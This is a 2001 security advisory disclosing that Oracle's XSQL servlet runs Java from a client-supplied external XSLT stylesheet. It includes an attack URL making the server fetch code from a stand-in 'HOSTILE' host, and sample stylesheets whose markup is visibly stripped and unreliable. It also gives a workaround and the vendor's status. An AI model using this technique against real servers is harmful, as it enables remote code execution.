Georgi Guninski security advisory #34, 2001



Oracle XSQL servlet and xml-stylesheet allow executing java on the web server



Systems affected:

Oracle XSQL servlet, installed by default Oracle 8.1.7 Windows 2000installation,

probably other versions/platforms are affected because the servlet is written in java



Risk: High

Date: 9 January 2001



Legal Notice:

This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it unmodified.

You may not modify it and distribute it or distribute parts of it without the author's

written permission.



Disclaimer:

The opinions expressed in this advisory and program are my own and not of any company.

The usual standard disclaimer applies, especially the fact that Georgi Guninski

is not liable for any damages caused by direct or  indirect use of the information

or functionality provided by this advisory or program.

Georgi Guninski bears no responsibility for content or misuse of this advisory or program or

any derivatives thereof.





Description:

To get an idea for the XSQL servlet I suggest reading:

http://technet.oracle.com/tech/xml/xsql_servlet/htdocs/relnotes.htm

The XSQL servlet allows specifying external xslt stylesheets which may reside anywhere.

The problem is it is possible to execute java on the web server in the xslt stylesheet.

Executing java on the web server may lead to compromising it.



Details:



Oracle allows extensions to the built in xslt functions using the xmlns

"http://www.oracle.com/XSL/Transform/java/".

Using this namespace it is possible to instantiate java objects and execute their methods.



Sample xslt stylesheets:

--ora.xsl---string function, almost no effect---------------



http://www.w3.org/1999/XSL/Transform" xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.lang.String" version="1.0">







Written by Georgi" target="_new">http://www.guninski.com">Georgi Guninski







Java demo.













------------------------------------------------------------



--ora2.xsl----creates a file -------------------------------



http://www.w3.org/1999/XSL/Transform" xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.io.File" version="1.0">







Written by Georgi" target="_new">http://www.guninski.com">Georgi Guninski







File "c:\winnt\georgigjava" created=













-----------------------------------------------------------



Assuming that http://XSQL-SERVER/EXISTING.xsql exists and is configured (there are installed

.xsql demos in /xsql/java/demo/), the following URL:

----------------------------------------------------------------------

http://XSQL-SERVER/EXISTING.xsql?xml-stylesheet=http://HOSTILE/ora.xsl

----------------------------------------------------------------------

will execute java from http://HOSTILE/ora.xsl (see example stylesheets above) on XSQL-SERVER.



This work on default Oracle 8.1.7 install, I only needed to adjust the database name in

the servlet config file.



Workaround:

Add 'allow-client-style="no"' on the document element of every xsql page.

I think this should be the default behavior.



Vendor status:

Oracle was contacted on 4 January 2001.

They responded very promptly and shall issue a patch "over the next few days".



Regards,

Georgi Guninski

http://www.guninski.com